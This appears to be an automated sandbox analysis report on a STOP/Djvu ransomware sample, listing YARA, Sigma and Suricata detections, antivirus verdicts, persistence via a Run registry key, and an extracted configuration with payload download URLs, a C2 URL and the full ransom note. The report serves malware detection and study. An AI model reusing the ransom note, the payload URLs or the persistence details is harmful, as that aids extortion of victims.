15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 55 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, ProcessId: 7552, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.8 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:12:06.574787+0200
SID:	2807908
Source Port:	49725
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - Possible Malware - Fake Firefox Font Update - Source IP: 192.168.2.8 - Destination IP: 52.168.117.173

Timestamp:	2024-07-25T02:11:54.254099+0200
SID:	2028371
Source Port:	49720
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.8 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:11:37.423187+0200
SID:	2807908
Source Port:	49705
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.8 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:12:13.092253+0200
SID:	2807908
Source Port:	53483
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.8 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T02:11:51.262475+0200
SID:	2803274
Source Port:	49714
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.8 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T02:11:41.374990+0200
SID:	2803274
Source Port:	49706
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.8 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:12:39.147645+0200
SID:	2833438
Source Port:	53486
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.8 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:12:36.241550+0200
SID:	2036334
Source Port:	53484
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.8 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:12:10.364407+0200
SID:	2807908
Source Port:	53479
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.8

Timestamp:	2024-07-25T02:11:53.279343+0200
SID:	2022930
Source Port:	443
Destination Port:	49718
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.8 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:12:16.267822+0200
SID:	2807908
Source Port:	53485
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.8 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:13:02.686225+0200
SID:	2803274
Source Port:	53487
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.8 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:13:32.021383+0200
SID:	2833438
Source Port:	53490
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.8 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:12:10.174521+0200
SID:	2036333
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.8

Timestamp:	2024-07-25T02:12:12.881061+0200
SID:	2022930
Source Port:	443
Destination Port:	53482
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.8 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:13:29.191557+0200
SID:	2036334
Source Port:	53489
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.8 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T02:11:58.985071+0200
SID:	2803274
Source Port:	49722
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.8 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:12:03.344905+0200
SID:	2807908
Source Port:	49723
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.8 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:12:12.720887+0200
SID:	2833438
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.8 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T02:11:48.282804+0200
SID:	2803274
Source Port:	49709
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.8 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:11:40.822754+0200
SID:	2807908
Source Port:	49707
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.8 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:13:05.596527+0200
SID:	2833438
Source Port:	53488
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.8 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T02:12:07.082056+0200
SID:	2803274
Source Port:	49724
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.8

Timestamp:	2024-07-25T02:12:11.899765+0200
SID:	2022930
Source Port:	443
Destination Port:	53481
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.8 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:11:43.584244+0200
SID:	2807908
Source Port:	49708
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.8 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:12:09.735665+0200
SID:	2036334
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.8 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:12:31.571326+0200
SID:	2036333
Source Port:	53480
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.8 - Destination IP: 1.1.1.1

Timestamp:	2024-07-25T02:11:36.882980+0200
SID:	2838522
Source Port:	53469
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://ddos.dnsnb8.net:799/cj//k1.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k3.rar	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rarKU	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7Ef	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7Ej	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rare2	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k3.rard	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rarC:	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k5.rarxT	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k5.rar	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.raruW	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rarP2X_	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k3.rarC	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k3.rar:	Avira URL Cloud: Label: malware
Source: http://zerit.top/dl/build2.exe	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rar/	Avira URL Cloud: Label: phishing
Source: http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rar7W	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k3.rarfC:	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k4.rar:T	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rara	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rar5C:	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rarsC:	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar7W	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k4.rar	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k5.rarC:	Avira URL Cloud: Label: phishing
Source: http://fuyt.org/test1/get.php	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.raroW	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Users\user\AppData\Local\Temp\tmpDC32.tmp	Avira: detection malicious, Label: W32/Jadtre.D
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Avira: detection malicious, Label: TR/Dldr.Small.Z.haljq
Source: C:\Program Files\7-Zip\Uninstall.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Avira: detection malicious, Label: W32/Jadtre.B

Found malware configuration

Source: 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Djvu {"Download URLs": ["http://zerit.top/dl/build2.exe", "http://fuyt.org/files/1/build3.exe"], "C2 url": "http://fuyt.org/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-0S984cQ4B3\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@sysmail.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupportsys@airmail.cc\r\n\r\nYour personal ID:\r\n0430JIjdm", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	ReversingLabs: Detection: 94%
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	ReversingLabs: Detection: 92%

Multi AV Scanner detection for submitted file

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Virustotal: Detection: 87%			Perma Link
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	ReversingLabs: Detection: 94%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Joe Sandbox ML: detected
Source: C:\Program Files\7-Zip\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040E870
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	4_2_0040EA51
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040EAA0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	4_2_0040EC68
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	4_2_00410FC0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00411178 CryptDestroyHash,CryptReleaseContext,	4_2_00411178

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2648498274.000000000051A000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4I8XKCGgbb4qleJAF7W2dmJHdLsc5du\\nn8FhrNPyozIM2b3b+aIVTP\/lJE4DFAuzoGoNy\/r7ZMMCouk+kV+0YBL\/H9AD2HSx\\ntpYMoPkxkjt02aJScPkgYcIZKsj8LUimPmEy34gW\/wIkqvbMYKXtNnao\/qED9CFR\\n6UBM46bPFhHq3QpKPr6sdTg4kaQi\/ZLueJvFVZ2raXOcEA1TunnUmTVfBP6Uboip\\nfrCky0fkvCyEHfX6+Sizo50\/glCm7dKNyNlXe3DaKCDvma36A+5uUwe+8X2hPKdj\\nJQIDAQAB\\n-----END PUBLIC KEY-----

memstr_1c706c6d-b

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\_readme.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49724 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\nipuse.pdb source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.4.dr
Source:	Binary string: )=C:\nipuse.pdb source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.4.dr
